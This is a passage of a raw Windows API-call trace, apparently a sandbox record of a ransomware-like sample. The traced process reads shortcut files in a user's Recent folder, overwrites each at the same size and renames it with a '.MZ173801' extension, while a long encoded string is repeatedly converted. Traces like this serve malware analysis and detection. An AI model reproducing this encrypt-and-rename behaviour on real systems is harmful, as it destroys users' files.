lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q2_Y1QkDxrE4OwSA-7I8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q2_y1qkdxre4owsa-7i8.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.936] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.936] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.936] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xaa5 [0121.936] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.936] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xaa5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xaa5, lpOverlapped=0x0) returned 1 [0121.937] CloseHandle (hObject=0x288) returned 1 [0121.937] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q2_Y1QkDxrE4OwSA-7I8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q2_y1qkdxre4owsa-7i8.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.938] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xaa5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xaa5, lpOverlapped=0x0) returned 1 [0121.940] CloseHandle (hObject=0x288) returned 1 [0121.946] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q2_Y1QkDxrE4OwSA-7I8.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q2_y1qkdxre4owsa-7i8.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q2_Y1QkDxrE4OwSA-7I8.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q2_y1qkdxre4owsa-7i8.lnk.mz173801")) returned 1 [0121.948] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa942e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x99d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="qAfaU.flv.lnk", cAlternateFileName="QAFAUF~1.LNK")) returned 1 [0121.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.948] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qAfaU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qafau.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa942e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa942e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x99d)) returned 1 [0121.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qAfaU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qafau.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.954] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.954] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.954] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x99d [0121.954] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.954] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x99d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x99d, lpOverlapped=0x0) returned 1 [0121.955] CloseHandle (hObject=0x288) returned 1 [0121.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qAfaU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qafau.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.957] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x99d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x99d, lpOverlapped=0x0) returned 1 [0121.958] CloseHandle (hObject=0x288) returned 1 [0121.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qAfaU.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qafau.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qAfaU.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qafau.flv.lnk.mz173801")) returned 1 [0121.960] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebb3960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebb3960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebb3960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="qWEtUErXYGmQCk.lnk", cAlternateFileName="QWETUE~1.LNK")) returned 1 [0121.960] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.960] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qWEtUErXYGmQCk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qwetuerxygmqck.lnk"), 